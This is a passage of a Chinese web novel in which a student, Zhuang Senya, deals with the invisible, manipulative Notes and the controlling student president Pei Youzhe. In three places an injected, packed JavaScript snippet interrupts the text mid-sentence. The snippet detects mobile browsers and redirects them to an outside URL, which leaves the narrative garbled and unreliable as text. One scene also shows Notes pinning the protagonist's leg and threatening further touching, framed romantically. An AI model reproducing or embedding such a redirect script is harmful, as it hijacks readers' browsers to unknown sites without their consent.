;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就像每一个怀着虚假的善意接近她,最后又残忍地揭开假面的人一样。 高中时她最好的朋友就是这么对待她的。 她绝对不会重蹈覆辙,所以,不管诺特斯怎么纠缠,石头就是石头,石头缝里是不会长出花来的。 “半斤八两是什么意思?”诺特斯反问。 “没听懂?我以为你汉语学得挺好的。” “我知道,你是在说我和那个历夏差不多。”他又贴近了些,嘴唇几乎要接触到她侧颈的肌肤,紧盯着的目光像带着钩子一样,“我问的是,你怎么会觉得我和他半斤八两呢。” 她扬了扬眉毛,露出有点难以置信的表情,“他充其量只是搂了我的肩,你要不要看看你在做什么?” 他都快变成她身上的一个人型挂件了。 诺特斯沉吟了一声,紧接着,他久违地笑起来,伸手捏了捏她的脸,“我明显在做更过分的事情,哪里和他一样了。” “你……” 果然,恶人自有一套逻辑,想在争辩上赢过他,简直是痴心妄想。 庄森芽甩了甩头,先是把对方的手甩掉了,又趁这个空挡一拧腰,转了个圈,从他怀里钻了出来,背部紧靠着宿舍门,不给对方第二次的可乘之机。 她清了清嗓子,仰起头来,不甘落于下风,“你想赖在这里,随便,但是不要妨碍我做事情。” 说着,她擦过诺特斯的身侧,回到自己的座位上,继续做她手上的事,一副刚才什么也没发生的模样,不为所动。 99. 后知后觉 趁着头发还有些潮湿,她打算抹点护发精油,漂染的代价就是要精心护理,而且每过一段时间就要去补发根,有时候她真想遭遇点什么重大变故,一夜白头算了,还免了染发的时间和费用。 她用梳子从下到上一点点梳开头发,打开护发精油的瓶子,一股香气弥漫开来,余光看到诺特斯坐在了旁边石玥诗的座位上,一副看起来很清闲的样子,没什么正经事要做。 庄森芽一边往头发上抹油,一边胡思乱想着。 先前的困惑又找上了他,她还是不懂诺特斯为什么要围着她转。 是在等她完全放下警惕的那一刻、想要骗取她的好感以来达成他的目的?总之不太可能是纯粹的出于善心而帮了她那么多忙,更不可能是出于愧疚,尽管她当下被裴佑哲百般针对的处境是诺特斯一手造成的——就是因为那晚在海边他强迫她对裴佑哲说的那些话——但她觉得诺特斯完全不会因为这件事而产生半分的歉意。 “所以,你的上司又给你派发下来什么活了吗?”诺特斯若无其事地张口,云淡风轻地挑起话题。 心中的困惑得不到解答,也不想张口去问,总觉得问了也得不到真实的答案,索性不再去想了,庄森芽回答说:“明天要陪他去健身房,他说他的什么教练请假了,需要有一个人配合他拉伸还是按摩来着……反正差不多就是那些。” 诺特斯双臂交叠在凳子椅背上,下巴支在小臂,模样有些意外,“这完全不就是把你当佣人使唤了吗。” “很难说不是这样。” “他将来保不准也是个黑心企业家。”诺特斯点评着,“所以,你会吗?” “什么?” “帮人拉伸按摩。” 庄森芽短暂地在记忆里检索了一番,大脑返回给她比一张白纸还白的空白,“完全不会。” 也不知道明天要怎么应付过去,反正自己几斤几两裴佑哲心里应该有数,到时候应该会指导她吧,不然出了什么问题遭殃的可是他自己。 “我看你今天也遭了不少罪,应该很疲惫吧。”诺特斯像突然想出来鬼点子,笑眯眯盯着她,“不如我来帮你按按腿,顺便教你一下手法。” 都不需要去看他的眼睛,就知道他脑袋里打的是什么主意。 也不知道从什么时候开始,这个人越来越没边界感了。 不,到底是他越来越放肆了,还是她越来越在意这个方面了? 认真回想的话,这家伙好像从一开始就是这样。 她第一次和这人见面的时候,他就当着她的面解裤腰带,说要给她看看胯部的胎记。 驻马山那次,他挟持她的时候,更是变着花样的抱着她,两人之间贴得极近,除了层衣料之外什么都没有,要不是因为恐惧占据了大半的心思,准会胡思乱想些什么。 而他第一次到她家里去那次,更是不由分说把她压在了床上,姿势回想起来怎么想怎么不对劲。 更不要说他来巡回演出之前的那个夜里,在公园的那次充满了暗示的舞蹈,以及后来酒店里发生的吻。 还有他在咸腥的海风中,剥掉她外套的那一瞬间。 包括前不久在图书馆哭泣时,他抓着她的手,按在温热胸膛的那次…… 还有很多很多,很多很多细碎的接触,多到有些数不过来,多到甚至有些让人意外,多到她这一辈子除了父母之外有过最多身体接触的人,甚至有可能是这个男人。 从一开始他就是这样的,是她脑袋里有些东西变了,所以看待事物的角度也跟着改变。 脱掉了那层恐惧的外衣,纯粹的内里得以彰显。她因为最悲观的假设而有点破罐子破摔,可越是这样,她就越不那么惧怕他,反正已经料想到了最坏的结果,最差也差不到哪里去,因此有了无所畏惧的勇气。 或许就是因为这样,她看到了一些曾经看不到的东西,感受到了一些曾被她忽视的情绪。 只不过没想到的是,脱离了对他致命气场的恐惧,徒留下来的东西却同样是致命的。 诺特斯这个人可能是毒药做的,而在意识到之前,她已经在这口药罐子里泡得太久了。 那就喝吧。 她对自己说。 反正可能已经毒入五脏六腑了。 但她不会太醉,最多只让器官腐烂,她的骨头依然坚硬。 “你真要教我?” “你不是想在那个裴佑哲面前赚印象分吗?学会了,包你让他大吃一惊。” “……你不会把我的腿弄断吧。”庄森芽不太信任地说。 “理论上来说我能。”诺特斯依然在笑,似乎无时不刻都能找到独属于他的乐趣,“不过我永远也不会那么做。” 这话听起来,恐怖里带着点温情,像极了诺特斯会说的话。 “这么好心……”她琢磨着,“代价依然是一个故事作为交换吗?” 男人眨眨眼睛,看起来有些不解,“什么故事?” “别告诉我你忘了。” 那个只说到一半的有关莱王星的故事,明明两三句话就能说完,诺特斯却偏偏用几个未完待续将它们分隔开。 明明不是什么感人肺腑、引人入胜的故事,但不得不承认,她的确很感兴趣,可能是因为那是她笔下的世界,就算再怎么枯燥无趣,她也比世界上的任何其他人都在意它,因为她倾注了心血,也倾注过爱。 坐在一旁的男人捏住自己的下巴,半晌才恍然大悟,也不知道是真的忘了,还是装的,“哦,那个啊。” “快点讲。”她说,摆出一副例行公事的模样,不想让对方觉察出她的好奇,“趁我还有精力听。” 诺特斯却是不让她如愿,“你要是不想听,我就不讲了。” ……这家伙,居然在这里玩什么欲拒还迎的戏码。难不成是听到了她心里的想法,所以故意吊着她吗? “快点。”她发出不耐烦的声音,“不然搞得好像我在占你便宜一样。” 诺特斯挑挑眉,从椅背上直起身来,脱离了那种懒散的坐姿,“好吧,我讲到哪了?” 庄森芽提醒他,“哈兰·戈斯去世之前,把石剑醇的生产工厂交给了友人辛格,而辛格遇到了一些麻烦,因为莱王星上的人都对石剑醇这种物质趋之若鹜,所有人都在觊觎它。” “喔,对,是到这里了。”他了然地点点头,用胳膊肘支撑着椅背,仿佛不靠着点什么东西就不舒服一样,“石剑醇是个好东西,你看,我身上只需要带这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516190|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一小块,就能让我发挥出几乎没有限制的能力。” 他从白衬衫里掏出那个绿色的晶体吊坠,在外面晃了晃,又收了回去,“不过作为一种维系星球运转的重要物质,它拥有巨大的能量也是理所当然的。” 庄森芽盯着男人的动作,在他掏出那个吊坠之后,目光便落在了那上面。见到它,她就又想起图书馆那个夜里诺特斯对她说过的话,他说,只要失去石剑醇这种物质,他就再也能不发挥他的能力,而这就是他致命的弱点。 她直到现在也不相信男人会就这么轻易暴露自己的软肋,可是又觉得他这么大费周章、甚至为此编一个故事来圆谎,也属实没什么必要。 思来想去,最终还是只剩一个‘困惑’二字。 “辛格告诫过人们,候鸟山工厂所产出的石剑醇全部都要用于莱王星的运转,没有更多的分给他们。”诺特斯摆了摆手,一副无奈的模样,“但人们并不相信。他们还认为莱王星拥有自产石剑醇的能力,认为那颗被他们摧残得千疮百孔的星球拥有无尽的韧性,可以包容他们无止境的掠夺,所以工厂额外产出的石剑醇就应该用于他们膨胀的欲望,而不知道他们脚下的大地都已经岌岌可危,随时都有可能——嘭,化成宇宙里的一团尘埃。” 他如此形容的时候,用上了夸张的肢体语言,明明在谈论着自己星球上的事情,但他却好像不怎么在乎的模样,也没有什么紧迫感。 “于是乎,留给辛格的难题就很多了。”他伸出手指,一个个细数,“首先,他得苦心经营散落各地的候鸟山工厂,保证石剑醇的供应链不会出什么差错; “其次,他还要和那些来抢夺能源的小偷们周旋,用‘小偷’来形容可能有点大题小做了,有些掠夺者组织的军事力量甚至不亚于一个小型国家,辛格一开始和他们交锋的时候可没少吃苦头; “最后呢,他还要想办法让那些因为利益而冲昏了头的人冷静下来,睁开双眼,看清楚自身处于怎样的水深火热之上。” 他说到这里的时候,虽然嘴角是笑着的,但神情里却有种不知因何而起的落寞。 “只可惜,最后一点很难办到。人心是很难改变的,就算确凿的证据摆在他们面前,他们也会想尽办法歪曲事实,来维护固有的观念。”诺特斯深吸了一口气,闭上眼睛,“所以,辛格放弃了。” “放弃了?”庄森芽反问。 “是啊,他懒得再解释了。”他侧了个身,盯着宿舍的玻璃窗,拄在侧脸的手挡住了大半面颊,“无论怎么说,人们也不会听的。干嘛浪费口舌呢,反正最后自食其果的都是那些自愿蒙蔽双眼的人。” “……你说的这个辛格,他是谁?”庄森芽问,“候鸟山工厂现在不是在你的手里吗?” “是啊,是在我的手里。” “你从他手里抢过来的?” 诺特斯转过头来盯着她,又露出那种笑眯眯的神情,“你猜猜看?” “猜什么,直接告诉我。” “那多没意思。” 她听了直想翻白眼,不善地笃定道:“那就是我刚才说的,你把工厂从人家手里抢走了,你这□□。” 诺特斯的笑意更深了,似乎有点刻意,带上了点恶人专属的邪魅。 100. 点火 他站起来,来到庄森芽身前,把她连人带椅子转向自己,单手撑住椅背,宿舍暖黄的顶灯打下来,被他的身体拦截,投下一片阴影。 “又要干什么?”她抬头盯着他,无所畏惧,她早就过了那种会在这个恶徒面瑟瑟发抖的阶段,“我跟你说,我舍友随时都有可能回来,被她们看见你擅闯女宿舍,你猜你的歌手生涯还能不能进行得下去。” 男人没搭腔,目光从上而下扫过她的身体,最终落在光裸的膝盖上,紧接着,他在她面前蹲了下来,托起一条小腿,放在自己因蜷曲而显得紧绷有力的大腿上,“放松,不要用力。” ……原来是要按摩。 想一出是一出,念头也和风一样捉摸不定。 庄森芽盯着他的动作,在被捏住腿肚子的时候,感觉有些酸胀,还有些痒,她下意识抽腿,但脚腕被人紧紧地攥住了。 诺特斯的神情很专注,手法缓慢,力度适中,动作十分有条理,不像是随便地简单按一按。 他为什么连这个也会啊? 腿部有种解放的感觉,就像黏在一起的白砂糖被锤子一下子打散了,不再那么紧绷。 手掌在光洁的小腿上摩擦,没有精油的辅佐,皮肤之间带着一点黏连感。 一条按摩完了就换另一条,庄森芽感觉那条被放下去的腿比白天的时候轻松了许多。 居然手法还不错…… “哪里疼吗?”诺特斯目光落在自己的手上,偶然间问她。 “没有。”她又开始变得话少,她觉得自己可能承受不来诺特斯的善意,因为总觉得对方带着不可言说的目的性,可凭现在的她又看不出什么端倪,故而只能静观其变。 两条小腿按完了,他把它们都放在地上,身体又凑近了些,一只手顺着膝盖摸上了大腿的内侧。 庄森芽瞬间把它们并上了,她此刻只穿了条宽松的短裤,大腿肉正好夹住了诺特斯的那只手掌。 诺特斯盯着自己那只无辜的手,轻轻发力,却没能从中解脱,他干脆把另一只手也黏上来,将它整个圈住,“你不松开的话,教学就没法继续下去了。” 皮肤被捂得发热,热源的所在让人感到一丝危机感,她没松开,只是摇摇头,“好了……到此为止。” “你连点皮毛都还没学会吧。” “我不学了,我——” 话没说完,抱住她大腿的那两只手突然一发力,将它整个抬了起来。男人把她的小腿架在了自己的肩膀,居然就这么卡住了她。 “!”因为这个动作的缘故,庄森芽从椅子上滑下去了一点,现在,她近乎以一种只在某种场合才会出现的姿势冲着对方,在这种情境之下,她只觉得一下子血气就涌到了面门上。 这比以往哪次都要过分。 “放开我!”她扭打着,蹬着那条腿,试图夺回自己身体的主动权。 诺特斯控制着她,表情有点难耐,他笑起来,眼里露出一丝颇有深意的目光,“你再乱动……我碰的可就不只是腿了。” 他五指沿着大腿的内侧往上摩挲,指尖碰到了短裤的边缘。 庄森芽一下子就老实了,整个人打了个激灵,腿上的力道也卸了,一动不动,只剩目光还愤愤地盯着对方。 姿势屈辱就屈辱吧……说到底都是她活该,早在诺特斯提出要为她按摩的时候,她就应该料到了他不安好心。 见她不再挣扎,诺特斯又开始行动起来,两只手掌包裹着大腿,十分规矩老实地上下按揉着。 可即便如此,庄森芽还是难以适应,每当虎口来到腿根的时候,她的腿都忍不住颤抖。 诺特斯没因此嘲弄她,也没继而捉弄她,只是按部就班地一点点去按摩紧绷的肌肉,没有一丝多余的动作。 他看起来真的想要教会她,但只有庄森芽自己知道,她现在的心思完全不在学习这门手艺上。 一条大腿的按摩结束,他把它放下去,又将另一条架在自己的肩上,那副认真对待的模样,就仿佛手下是什么金贵的物件似的。 有点承受不来那样专注的目光,庄森芽把视线撇去一旁。 “我怕你不适应,所以没用多大的力。”诺特斯说,“但正常情况,在不伤害身体的前提下,按揉的力度越大越好。” 那还真是谢谢他了,就连现在这种力道,她都觉得有些太重了,导致身体止不住地想要发抖。 终于,诺特斯松开了她饱受蹂躏的两条腿,依然蹲在地上,模样乖巧地问她:“学会了吗?” 庄森芽只觉得双腿快要不属于自己了,怎么会又麻又热,存在感比按摩之前还要明显? “……学会了。”她糊弄他说。生怕说没学会,对方又要给她再演示一遍。 “不用逞强,没关系,明天现场的时候我也会指导你的。” 这场按摩的本意,是为了让她学会基本的手法,好明天去给裴佑哲按摩放松。 ……但是,说到底,她为什么要学这个? 本来就是裴佑哲的要求,她还那么积极地去学,就算想在学生会主席的面前表现得好一点,也不至于做到这个地步。 刚才居然糊里糊涂就答应了诺特斯,太大意了。果然还是得和这个男人保持距离,不然容易受到各种各样的蛊惑。 她用脚蹬地,把椅子往后窜了一些,身体坐直了,终于是脱离了那种令人大脑充血的姿势。 而就在这个时候,宿舍外的走廊传来了一阵交谈声,听起来很耳熟,应该是她的舍友们回来了。 “你快走!”庄森芽有点惊慌地说,一时间都忘了诺特斯可以随时隐身,惊惧的模样就仿佛害怕被捉奸在床。 诺特斯站起来,目光有些留恋的粘在她的脸上,他微笑着说:“明天我还会来。” 如果是以前听到这句话,她只会觉得恐惧,但不知为何,现在却感到一丝莫名 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汪素文就是这样一个会被周围的人的喜怒哀乐牵动的人,因此庄森芽不希望把什么负面的情绪传染给她。 到了宿舍集体约定好的睡觉时间,她们熄了灯,安静地做起各自的事情。 庄森芽爬回自己的床上,侧卧着蜷起身体。 今天经历了很多,有种来不及思考就被推着往前走的感觉,现在回想起来,就仿佛经历了一个世纪那么长—— 早七点的外联部会议,裴佑哲提出的陪同车展的着装要求,诺特斯带来的黑色裙子,宿舍里针对高跟鞋走路的练习,停在学校门口的蓝色跑车,跑车旁白孔雀一样的人,她的退缩,塞壬的鼓舞,跑车发出的层层排气声浪,装着各类首饰的十六宫格,商店挂着的黑色贝雷帽,高端先进的车展会场,无趣的社交活动,赛道上奔驰的赛车,突然展开追求的混血男人,不欢而散的筵席,再度出现的诺特斯,逾矩的动作与距离,乱麻般的心思和情绪。 记忆碎成片段,在脑海里反复地复映着,没有任何时间上的连续性,也没有任何逻辑,就像是煮水的铁锅,一会这里冒一个泡,一会那里冒一个,找不到任何的规律。 她本以为自己又要失眠了,每次白天的经历太多时,她总是会因为不断的回想和思考而无法入睡。 但今天不太一样,她的大脑虽然还在转,转着转着,疲劳感就涌了上来,不管主人的思绪进行到了哪一步,它毫不留情就掐灭了意识的蜡烛。 ‘一周情侣’的第四天到了,距离这场酷刑的末尾,还有整整四天。 今天裴佑哲给她的任务很简单,只是要她上午去健身房陪他。 就像有些公司会在工作日周三下午给员工们放半天假,裴佑哲也很好地掌握着资本家的套路,给她这头牛马在一周最中间的一天派了较为轻松的活。 101. 慢刀最痛 上茂哈里森大学虽然设有健身房,但裴佑哲所去的并不是学校内的那一个,想来学生会主席也不会选择在一个器械并不完备的场所健身,更不会当着那么多对他十分好奇的学生们的面。 今天他还是在西门的校门口接她,不过比昨天要低调一些,没开那辆深蓝色的超跑,人也没穿那么高调的白色西装,而是套着一身带着些时尚感的运动服,外面用一件宽松的夹克包起来,大抵是保暖用。 她则穿回自己最熟悉的打扮,一条带着些堆叠感的休闲裤,上身是宽松的外套,里面穿了件贴身的小背心。 离开宿舍,一如既往顶着旁人注视的目光,庄森芽来到西门,上了裴佑哲的车。 关上车门,栽进副驾驶座位里,一种从未有过的舒适感将整个人包裹了起来。 她上车前忘记看这是什么牌子的车了,但在舒适感方面,显然比跑车人性化太多,昨天差不多半天时间都在跑车里坐着,到了晚上只觉得腰酸背痛,但当下这一辆的话,她觉得在上面坐一整天都没有什么问题。 裴佑哲驱动车辆,将它开离学校,驶向平缓的大路。他一条胳膊撑在窗沿上,一只手操控着方向盘,整个过程中都没有用上两只手,就仿佛开这种商用轿车没半点难度似的。 学生会主席的话很少,除了必要性的交流,几乎不怎么发起对话,就好像她不是什么可以聊天的对象,只是一个随身携带的物件。 他不说话,庄森芽也就不张口,以免说错了什么话再惹这个人不高兴。 “这车不错。” 突然,后座上传来声音。 庄森芽吓了一跳,忍住了没回头。 声音的主人怎么听都是那个昨天承诺说今天还会来的人,裴佑哲没有反应,就证明他听不到这个声音,所以她也不能表现出一丝的惊讶。 目光悄悄望向车辆内的后视镜,只见后座上有一个颇为潇洒的人影,那人横躺在皮质的座椅上,无处安放的两条腿蜷缩起来,翘起嚣张的二郎腿,他就像是来旅游度假的一样,悠然哼着小曲。 看到这一幕,庄森芽怀疑昨天诺特斯没出现的原因是跑车只有两个座椅,没他的位置,不然他绝对会像现在这样优哉游哉地尾随他们。 仿佛知道她不能张口,诺特斯也没指望她说话,只是在一旁自言自语,“好安静,你们俩为什么不说话?这小哥看起来好严肃,以前他好像不是这样的吧?” 那还不是因为你做的好事。庄森芽腹诽。 “他家是做什么的,怎么这么有钱。”诺特斯打量着车内的内饰,发出赞叹,“小小年纪不得了,将来也是个做大事的人。” 她听着,在内心想:说得好像还挺感慨,显得自己的经历有多少一样,你看起来不也就二十多岁的年纪吗? 后座上的人坐了起来,窜到前排的两个座椅之间,光明正大盯着副驾驶的庄森芽,“要你成为一个成功人士的贤内助,你愿意吗?” 不知道话题为什么突然来到了这里,她又不能回答,只得若无其事地把目光看向副驾驶的窗外。 如果要回答的话,当然是不愿意了,她这辈子都没有围着什么人转过,将来也不会,她宁愿去摆地摊、送快递,也不想为了别人的事业鞠躬尽瘁。 “不愿意就眨两下眼睛,愿意就眨三下。”诺特斯似乎执意要与她产生什么交流,即便是在如此不方便的情况下。 她懒得配合对方,但想到如果不给点什么回应,诺特斯大概会纠缠不休,于是还是眨了两下眼睛。 “果然和我想的一样呢。”他笑着说。 她简直想翻白眼。 说得好像他有多了解她似的,这简直是笑话,他不知道的事情还多着。 “森芽。”突然,诺特斯喊她的名字,连声音都放轻了许多,目光有点固执地粘在她的侧脸上,“你要是什么时候对他动心了的话,一定要告诉我。” 庄森芽皱起了眉头。 他怎么还在说这种话? 海岛旅行那天晚上,诺特斯就在这件事上纠缠不休,断定她喜欢裴佑哲,说他对她来说是很重要的人,因此用他的性命威胁她。 时间都过去了这么久,自己也从未对裴佑哲表现出一丝一毫的喜爱,这家伙干嘛一直抓着这点不放? 难不成他还打算对裴佑哲做什么吗? 想到这里,庄森芽只觉得必须和诺特斯产生有效的交流,及时撇清自己和学生会主席的关系,让这个危险的男人不管有什么想法都赶快打消。 她拿起自己的手机,微微侧过屏幕,不让主驾驶的人看到上面的内容,打开诺特斯的聊天框,给他发消息:「你会对一个无时不刻都在打压你的人动心吗?」 诺特斯换到了副驾驶的另一边,正好能从缝隙中看到她手机屏幕上的内容,连自己的手机都不用掏了。 他直接张口回答:“你还是没看清他在打什么算盘。” 庄森芽:「?」 “哎,不怪你,你谈过的恋爱可能连他的零头都不到。”诺特斯装模作样地叹息了一声。 她打字:「你又知道了?你知道我谈过几段?」 “具体不知道,但感觉不多。” 那还真是感觉对了,但她绝对不会承认。 指尖不忿地敲打着:「听你的口气,你很清楚他在想什么?」 “当然,都是男人吗。”他歪着头,笑得眼睛都眯了起来,“你伤到他的自尊了,哦,准确来说,是我使你伤到他的自尊了。我猜他没经历过这种打击吧,所以在试图寻找一个平衡点,既能让他的自尊心好过,还能反手达成不可告人的目的。” 庄森芽:「请你说人话。」 诺特斯眨眨眼,迷茫,“我哪句不是人话?” 她坦白:「我听不懂。」 “好吧,那我这么说。”他侃侃道来,“他喜欢你,但是不想被你知道,但是你又当面揭穿了他的心思,所以——” 庄森芽飞速地打字:「停,打住。你这个前提条件就是不对的,佑哲明确说了不喜欢我。」 诺特斯模样有些意外,“他说过 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“我觉得我说的都是真相。”诺特斯听起来很有自信。 庄森芽:「那说回前面的话题,难不成他这么打压我、给我出难题,都是为了让我喜欢上他?」 “是啊。” 她愤慨:「我恋爱经验不足,不代表我是傻子,好吗。一个人怎么会喜欢欺负自己的人?」 “可如果这个人后来又对你很好呢?”诺特斯说,“甚至为这些欺压都找到了合理的解释,让你再也怨恨不起来。那个时候,因为前后差距过大,你很难不被触动。” 他说着,语气有些感慨。 “人就是这样的生物,吃了苦的才知道甜的是什么滋味,把手指先放进冷水里,而后就连常温的水也会被感知成温热的。你以前不把他的好当一回事,他就会想办法让你明白那究竟是怎样的优待。” 庄森芽琢磨了一番这段话,理解倒是能理解,但她觉得自己一定不会那样。只是因为对方的态度变好了,或者说变得和以前一样,就会由不喜欢变成喜欢?怎么可能。 她不屑地打字:「我又不是受虐狂。」 “你敢说真的不会动心吗?” 她笃定:「当然了。」 “这话我记住了。” 庄森芽继续打字:「佑哲显然也明白这个道理,所以你刚才说什么他喜欢我,都只不过是你错误的推断。」 诺特斯耸耸肩,缩回后座,声音幽幽从后方传来,“要不打个赌,就赌某天他对你的态度会一百八十度大转变,好到让你有点受宠若惊的那种程度。” 她不信这个邪,发了最后一条消息就扣下手机。 她说:「赌就赌。」 诺特斯肯定是猜错了,裴佑哲绝对不会抱有那样的想法,这整场‘一周情侣’的试炼只是单纯的考核,怎么可能像他说的那样带有什么其他拐弯抹角的目的? 心思险恶的人看什么都是不怀好意的。 102. 谁都有颗研究之心 过了一阵子,车辆抵达了健身房的门口。 这家健身房开在高档小区的楼下,有独立朝向街道的店面,总共三层高,一层是游泳馆,二层是跑步机和健身器械,三层是高级会员的专属场地。 没什么意外的,裴佑哲带着她径直来到了三层。这里的器械种类和二层差不多,但是看起来保养得更好一些,留下的间距也更大,还有一大片专门用来进行瑜伽垫训练或其他自由锻炼的平面区域。 三层没有几个人,当下是星期四的上午,勤奋早起的鸟儿们早就锻炼过离开了,下午和夜间的大部队还没有到来。 裴佑哲对庄森芽嘱咐说,让她找个地方呆着,他自己把斜挎包放下之后,就开始去热身。热完了身,他就熟门熟路来到了健身器材旁,一组又一组进行力量训练。 庄森芽坐在一个方方正正的不知道用来干什么的皮质小方块上,盯着裴佑哲看了一阵,发现对方完全是把她晾在这里不管了。 又像是昨天一样,没事做的时候也不放她走,百无聊赖也要她陪伴,她只觉得自己的性子都得到了前所未有的耐力训练。 裴佑哲的健身动作很标准,一看就是专业的私人教练带出来的,他没有将肌肉练得很大,贴服在身体上属于刚刚好的水平,穿上衣服又不会显得太紧绷。 像他这个年纪的大学生来健身房的可不多,男生们平时打打球跑跑步,运动量就够了,没有人会特意来密不透风的健身房里挥汗如雨,他们普遍更喜欢辽阔的篮球场和操场。 也不知道裴佑哲是怎么回事,难道是平时没有什么运动的机会吗? 有可能,就这几天的接触下来,他要么是在开会,要么是在奔赴社交场,看起来就不太像有自己私人时间的样子。 庄森芽像个布娃娃一样双腿叉开坐在方砖上,她对这些健身器材不怎么感兴趣,也没有上跑步机运动两下的打算,唯一的乐趣就剩下了自己的手机—— 以及旁边那个同样无所事事的男人。 她往诺特斯所在的方向看过去——这人全程都跟在她的身后,像个阴魂不散的厉鬼,大部分时候都在哼着没有词的小曲,她连听歌都不需要戴耳机了。 当下,他正侧躺在一个长条形的健身椅上,一手撑着自己的脑袋,椅子的长度对他的身高而言有点短,但他像猫一样找到了一个完美又惬意的平衡。 看着他,庄森芽脑海里突然冒出来一个问题。 如果现在把椅子搬走的话,诺特斯会掉下去,还是连着椅子一起被挪动,还是直接悬浮在半空中? 她一定是太闲了,才会思考起这种问题。 但是问题既然冒了出来,想要再把它塞回去就难了。 原地呆呆地坐了半晌,起身,决定付诸实践。 来到那个健身椅的旁边,她低下头盯着一人一椅。 诺特斯抬起脑袋,嘴里哼着的歌未曾停下,他用目光拢着她,又用磁性的嗓音包裹着她,仿佛要将她变成乐曲的一部分。 对方一副悠然的模样,让庄森芽想要作乱的心更加蠢蠢欲动。 她弯下腰来,双手扣住健身椅的边缘,胳膊猛然一个发力—— ……纹丝未动。 这器材这么重? 诺特斯盯着她的动作,嘴上什么也没说,没问她这是在做什么,只是片刻不停地哼他的曲子。 她不信自己连这点力气都没有,来到器材的窄端,站在诺特斯的头顶上,双手扣住皮质的边缘,想要把它从一端抬起来,然后再挪动开。 可是就连这最好发力的窄端,任她憋足了劲,还是半厘米都抬不起来。 真是怪了。 诺特斯翻了个身,仰躺着,脖颈伸长了,自下而上盯着她,这才发问:“你在做什么?” “你是不是——”她刚要张口,突然想起来周围的人都看不见对方,于是压低了声音,“你是不是动了什么手脚?” “嗯?”他发出困惑的声音,“针对什么?” “椅子。” 诺特斯坐起来,看了健身椅两眼,又站起来,“你们管这个叫椅子?” 他似乎有点偏离重点。 见他起身,庄森芽不信邪,又去搬它,可脸都憋红了,长条形的健身椅仿佛黏在地上了一样,一动不动。 诺特斯靠在旁边一个不知用来做什么的器械上,盯着她这番诡异的举动,喉咙里闷闷笑了两声。 庄森芽回过头来,“你笑什么?” “没什么。”他捂住自己的嘴,是个抽烟惯用的动作,理论上应该看起来很自然,如果不是他指间并没有一截烟头的话。 “你果然动了什么手脚。” “对天发誓,我对你所说的内容比刚出生的小羊还迷茫。” “那你不怀好意地笑什么?” 他沉吟一声,“只是觉得你不知道在做什么的样子很可爱。” 顿时一阵鸡皮疙瘩泛起来,她立刻后悔起自己追根问底的行径。 怎么就不长记性?和这家伙对峙的结果总是这样,一计猝不及防的麻醉针刺回来,伤害性不大,麻痹性极强。 “所以你是想搬动这个所谓的‘椅子’吗?”诺特斯就她的举动聊了起来,对她在做什么表示出兴趣。 “对。”她承认,但没有交代心底暗搓搓的真实目的。 诺特斯打量了一下它,“被钉在地上了吧。” 闻言,庄森芽蹲下去,看向健身椅的底端。 ……的确是被钉住了。螺丝穿透打孔和地板,将两者牢牢固定在了一起,难怪刚才搬它的时候纹丝不动呢。 错怪了诺特斯,她只觉得有点尴尬,又不想表现出来,因而顾左右而言他,若无其事地拍拍座椅,“……不过话又说回来,这个健身椅的皮料摸起来挺厚实。” “是呢。” “好像是可以折叠的。” 诺特斯:“看结构应该是。” “也不知道是用来做什么的。” “多功能椅吧。” 她坐下来,躺上去,盯着天花板,“躺着也不错。” 诺特斯应和:“的确,比一些粗制滥造的木制沙滩椅要好很多。” “毕竟价格不一样吧。” “是的。” ……完全是在没话找话。 诺特斯居然也有闲心跟她一唱一和,没追问她鸠占鹊巢的举动到底是在做什么。 可这些却让她更加尴尬了,自己的行为看起来毫无逻辑,仿佛跑过来就是为了把诺特斯撵走,她好霸占这个健身椅,可明明周围还有很多一样的椅子。 她坐起来,有点局促,另一边的诺特斯又哼起了歌,看起来悠然自得。 难道她怪异的举动在他的眼中什么都算不上?所以才是这副自然而然就接受了的模样。 他难不成是把她当成什么无理取闹的怪人了? 庄森芽晃了晃脑袋,把这些想法甩了出去。 何必在乎他怎么看她。 盯着诺特斯,想起自己这番大费周章是来做什么的,好奇心盖过了尴尬,她再度行动起来。 “你能不能坐到我刚才坐的那个方砖上?” 小曲哼到一半,靠在器材旁的诺特斯一个挺身站直,“可以。” 他甚至没问这是要做什么,就照指示行动了起来,这倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558679|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让庄森芽有点意外。 她以为自己非得给出一些明确的理由,诺特斯才会按她说的坐,甚至有可能拒而不从,因为按照以往的惯例来说,自己的指令在他身上就从来没有得到过遵从。 今天这是怎么了? 男人来到方砖边上,两手插兜坐了下去,脚尖在地板上打着节拍,他还惦记着刚才哼唱到一半的小曲,一遍遍修改口中的旋律,直到听起来顺耳,才接着捋下一句。 “坐着别动。”庄森芽命令。 “嗯哼。”诺特斯分心回应,仿佛不管什么她接下来要做什么,他都任她去。 怎么这么听话……一点也不像他。 庄森芽来到男人的背后,脚蹬在方砖的侧面,上肢力量不够,那就用下肢来凑,她一个发力揣在方砖上,它移动了少许,坐在上面的人摇晃了一下,很快恢复平衡。 她得到结论了,既不会掉下去,也不会悬在空中,而是十分正常地跟着椅子一起被推走了。 那他坐着的地方会出现凹陷吗? 